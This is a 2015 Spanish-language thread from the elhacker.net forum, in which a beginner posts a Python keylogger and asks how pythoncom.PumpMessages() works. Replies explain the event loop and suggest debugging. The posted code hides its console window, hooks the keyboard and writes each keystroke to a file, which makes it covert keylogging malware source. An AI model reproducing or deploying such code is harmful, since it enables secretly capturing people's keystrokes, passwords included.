Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: seyco en 27 Agosto 2015, 23:56 pm



Título: duda con keylogger
Publicado por: seyco en 27 Agosto 2015, 23:56 pm
recien estoy iniciando a aprender python y encontre este codigo de keylogger, no logro entender bien como funciona el ptyhoncom.pumpmessages().

Código:
import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

segun lo poco que entendi de pythoncom.PumpMessages(), espera hasta que reciba otra tecla presionada pero, y luego vuelve a iniciar todo el codigo o que pasa?


Título: Re: duda con keylogger
Publicado por: Br1ant en 28 Agosto 2015, 02:06 am
Si vas a publicar código, utiliza las etiquetas GeSHi o modifica la primera etiqueta para que quede como code=python.



pythoncom.PumpMessages() simplemente se ejecuta continuamente y, por lo tanto, no requiere reiniciar todo el código.


Título: Re: duda con keylogger
Publicado por: seyco en 28 Agosto 2015, 20:17 pm
osea solo se queda ejecutando esa ultima linea de codigo? que pasa cuando se recibe el evento de la tecla presionada


Título: Re: duda con keylogger
Publicado por: tincopasan en 28 Agosto 2015, 21:37 pm
está más que bien que no conozcas la función, pero... si quieres saber que hace el script, o sea como funciona si tiene loops o condicionales, etc, debugealo, pon un bp y sigue paso a paso cada línea.

ah y podrías usar
Código
  1.  while True: # código, pythoncom.PumpWaitingMessages()
para no bloquear la ejecución.